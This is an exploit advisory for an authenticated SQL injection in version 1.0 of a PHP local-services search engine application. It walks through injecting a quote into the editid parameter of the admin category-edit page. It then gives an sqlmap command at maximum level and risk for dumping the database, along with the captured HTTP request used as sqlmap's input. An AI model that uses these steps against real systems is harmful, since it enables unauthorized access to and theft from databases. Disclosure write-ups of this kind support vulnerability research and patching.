Local Services Search Engine Management System 1.0 SQL Injection

`# Exploit Title: Local Services Search Engine Management System (LSSMES) 1.0 - Blind & Error based SQL injection (Authenticated)  
# Date: 2021-03-02  
# Exploit Author: Tushar Vaidya  
# Vendor Homepage: https://phpgurukul.com/local-services-search-engine-management-system-using-php-and-mysql/  
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=10867  
# Version: v1.0  
# Tested on: Ubuntu  
# Detail walkthrough: https://medium.com/@tusharvaidya16/authenticated-blind-error-based-sql-injection-on-local-services-search-engine-management-system-3e99779f0850  
  
*Steps to Reproduce:*  
1) Login with Admin Credentials and click on the *Service Category* button.  
2) Click on the *Manage Category* button.  
3) Now add the double quote ( " ) in the URL after *editid parameter*  
4) At that time we observe that the application is misbehaving now capture this request from the burp suite and save it into an SQL text file.  
4) Now fire up the following command into SQLMAP  
  
CMD: sqlmap -r sql_file.txt --data="editid=1" --curent-db --level 5 --risk 3  
  
4) We got a database.  
  
*Below request from sql_file.txt*  
  
GET /LSSMES/lssems/admin/edit-category-detail.php?editid=* HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:86.0) Gecko/20100101  
Firefox/86.0  
Accept:  
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: close  
Referer: http://lcoalhost/LSSMES/lssems/admin/manage-category.php  
Cookie: PHPSESSID=rinoskt58u1hpa8s6i7di53rbc  
Upgrade-Insecure-Requests: 1  
`